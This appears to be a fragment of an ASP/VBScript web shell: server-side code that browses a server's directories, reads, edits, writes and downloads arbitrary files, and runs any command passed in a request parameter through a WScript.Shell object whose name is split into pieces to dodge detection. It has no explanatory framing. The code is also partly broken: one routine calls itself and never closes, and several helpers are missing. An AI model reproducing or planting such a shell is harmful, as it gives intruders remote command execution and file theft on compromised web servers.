SUB GetFolder(FolderName)
dim FileContent,FileNameString
set sl=server.createobject(CreateProgID(She,APP))
XA = FolderName
if (XA <> "") then
set fod1=sl.namespace(XA)
set foditems=fod1.items
for each co in foditems
If co.isfolder Then response.write "<font color=#FCC000>[</font> <a href=""?DirName=" & co.path & """><font color=black>" & Replace(Replace(Right(co.path,Len(co.path) - Len(XA)),"\",""),"/","") & "</font></a><font color=#FCC000>]</font><br>" & VBCRLF
next
End If
End SUB
SUB GetFiler(FolderName)
set sl=server.createobject(CreateProgID(She,APP))
XA = FolderName
if (XA <> "") then
set fod1=sl.namespace(XA)
set foditems=fod1.items
for each co in foditems
If Not co.isfolder Then response.write "<font color=black>" & Replace(Replace(Right(co.path,Len(co.path) - Len(XA)),"\",""),"/","") & "</font> - <a href=#this Onclick=""DownLoad('" & Replace(co.path,"\","\\") & "')""><font color=#999900>Down</font></a> - <a href=#this Onclick=""GetFileContent('" & Replace(co.path,"\","\\") & "')""><font color=#999900>Edit</font></a> - <font color=#0099FF>" & cstr(co.size/1024) & "</font> </a>KB<br>" & VBCRLF
next
End If
End SUB
SUB Main()
If Trim(Request("DirName")) = "" Then
LocDirName = SERVER.MapPath(".")
Else
LocDirName = Trim(Request("DirName"))
End If
If Right(LocDirName,1) = ":" Then LocDirName = LocDirName & "\"
Dim CreateType
CreateType = Trim(Request("Type"))
If CreateType <> "" And IsNumeric(CreateType) Then
CreateType = Clng(CreateType)
Else
CreateType = 0
End If
SELECT CASE CreateType
CASE 0
Call Main()
CASE 1
Call ReadData()
CASE 2
Call WriteData()
CASE 3
Call DownLoad()
CASE 4
Call Run()
End SELECT
SUB CSTM(X)
Set X = Server.CreateObject("ADODB.Stream")
End SUB
SUB Run()
set oS=Server.CreateObject("WSc"+"ri"+"pt.sh"+"ell")
ok=trim(Request("ok"))
if ok<>"" then
set re=oS.exec (ok)
re=re.stdout.readall
response.write "<body onload='javascript:parent.OnlineView.height=this.document.body.scrollHeight+10;' leftmargin=0 topmargin=0>"
response.write "<textarea cols=64 rows=25>"&Re&"</textarea>"
end if
End SUB
SUB WriteData()
Dim FileName,X,FileContent,FileNameString
FileName = Trim(Request("FileName"))
If FileName = "" Then Exit SUB
FileContent = Trim(Request("Content"))
Call CSTM(X)
With X
.Type = 2
.MODE = 3
.OPEN
.Charset ="gb2312"
.WriteText FileContent
.Position = 2
.SaveToFile FileName,2
.Close
End With
Response.Write("<TABLE width=98% border=0 align=center cellpadding=5 cellspacing=0 bgcolor=#f6f6f6><TR><TD bgcolor=#e6f0ff><STRONG>File </STRONG></TD></TR><TR style='color:#FFFFFF'>")
Response.Write("<TD BGCOLOR=#7896CD HEIGHT=25><a href=""javascript:history.go(-1);""><font color=#FFFFFF>Return</font></a></TD></TR><TR><TD BGCOLOR=#FFFFFF HEIGHT=35><font color=#7896CD>Status:</font>Write Succ...</TD>")
Response.Write("</TR></TABLE>")
End SUB
SUB DownLoad()
Dim FileName,X,FileContent,FileNameString
FileName = Trim(Request("FileName"))
If FileName = "" Then Exit SUB
FileContent = Split(FileName,"\")
FileNameString = FileContent(UBound(FileContent))
Call UseStream(FileName,FileNameString)
End SUB
SUB ReadData()
Dim FileName,X,FileContent,FileType,Vtype
FileName = Trim(Request("FileName"))
If FileName = "" Then Exit SUB
Call CSTM(X)
With X
.Type = 2
.MODE = 3
.OPEN
.LOADFROMFILE FileName
If Trim(Request("ViewType")) = "" Then
.Charset ="gb2312"
.Position = 2
VType = "1"
Else
VType = ""
End If
FileContent = .ReadText()
.Close
End With
%>
<body onload="javascript:parent.OnlineView.height=this.document.body.scrollHeight+10;" leftmargin="0" topmargin="0">
<form name=form1 action="?Type=2&FileName=<%=FileName%>" method=Post><textarea Name=Content cols=90 rows=25><%=Server.HTMLEncode(FileContent)%></textarea><br><br>
<input type=button value=Save onclick="document.all.form1.submit();"> <input type=button value="Save As" name=add id=add onclick="addn()"> <input type=button value=ENCODE Onclick="javascript:location.href='?Type=1&FileName=<%=Replace(FileName,"\","\\")%>&ViewType=<%=VType%>';"></form>
<script language="javascript">
setTimeout('view()',500);
function view(){
parent.Load.style.display='none';
parent.Loaded.style.display='block';
parent.OnlineView.height=this.document.body.scrollHeight+10;
}
</script>
<script language="vbscript">
sub addn()
Filename = InputBox("Input Full Path With Filename","","<%=FileName%>")
If Filename <> "" Then
document.all.form1.action="?Type=2&FileName=" & Filename
document.all.form1.submit
End If
end sub
</script>
<%
End SUB
Function GetContentType(FlName)
Select Case GetFileTypeName(flName)
Case "asf"
GetContentType = "video/x-ms-asf"
Case "avi"
GetContentType = "video/avi"
Case "doc"
GetContentType = "application/msword"
Case "zip"
GetContentType = "application/zip"
Case "xls"
GetContentType = "application/vnd.ms-excel"
Case "gif"
GetContentType = "image/gif"
Case "jpg", "jpeg"
GetContentType = "image/jpeg"
Case "wav"
GetContentType = "audio/wav"
Case "mp3"
GetContentType = "audio/mpeg3"
Case "mpg", "mpeg"
GetContentType = "video/mpeg"
Case "rtf"
GetContentType = "application/rtf"
Case "htm", "html"
GetContentType = "text/html"
Case "txt"
GetContentType = "text/plain"
Case Else
GetContentType = "application/octet-stream"
End Select
End Function
Function GetFileTypeName(FldName)
If InStr(FldName, ".") > 0 Then
Dim FiNameStr
FiNameStr = Split(FldName,".")
GetFileTypeName = Lcase(FiNameStr(UBound(FiNameStr)))
Else
GetFileTypeName = "unknow"
End If
End Function